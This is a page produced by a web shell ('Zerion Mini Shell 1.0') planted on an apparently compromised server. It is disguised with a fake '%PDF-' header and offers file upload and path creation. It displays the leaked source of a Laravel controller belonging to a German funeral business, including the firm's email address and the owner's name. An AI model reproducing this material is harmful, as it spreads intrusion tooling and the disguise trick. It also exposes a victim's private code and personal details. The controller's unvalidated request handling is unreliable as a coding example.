%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/o91-api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/o91-api/app/Http/Controllers/Api/v1/FuneralController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Http\Controllers\Api\ApiController;
use App\Mail\BusinessPlanMail;
use App\Mail\RegisterCreated;
use App\Mail\SimpleThankYou;
use App\Models\UserApplication;
use Carbon\Carbon;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Mail;

class FuneralController extends ApiController
{
    /**
     * @param Request $request
     */
    public function sendMail(Request $request)
    {
        $data = $request->only(['company', 'fullname', 'strabe', 'stadt', 'post', 'email', 'phone']);
        Mail::to(env('SENT_TO_MAIL', 'info@rhein-lahn-bestattungen.de'))
            ->later(Carbon::now()
                ->addSeconds(15), new BusinessPlanMail($data));
        Mail::to($data["email"])
            ->later(Carbon::now()
                ->addSeconds(15), new SimpleThankYou($data,
                'Rhein-Lahn-Bestattungen e.K. Inhaberin Ruth Fischer',
                'Email Bestätigung'));
    }

    public function register(Request $request)
    {
        /** @var UserApplication $app */
        $app = UserApplication::query()
            ->create([
                'name' => $request->get('name'),
                'surname' => $request->get('surname'),
                'phone' => $request->get('phone'),
                'email' => $request->get('email'),
                'from' => 'funeral',
                'short_description' => $request->get('short_description'),
            ]);

        Mail::to('info@rhein-lahn-bestattungen.de')
            ->later(Carbon::now()
                ->addSeconds(15), new RegisterCreated($app));
        Mail::to($app->email)
            ->later(Carbon::now()
                ->addSeconds(15), new SimpleThankYou($app,
                'Rhein-Lahn-Bestattungen e.K. Inhaberin Ruth Fischer',
                'Email Bestätigung'));
    }

}

Zerion Mini Shell 1.0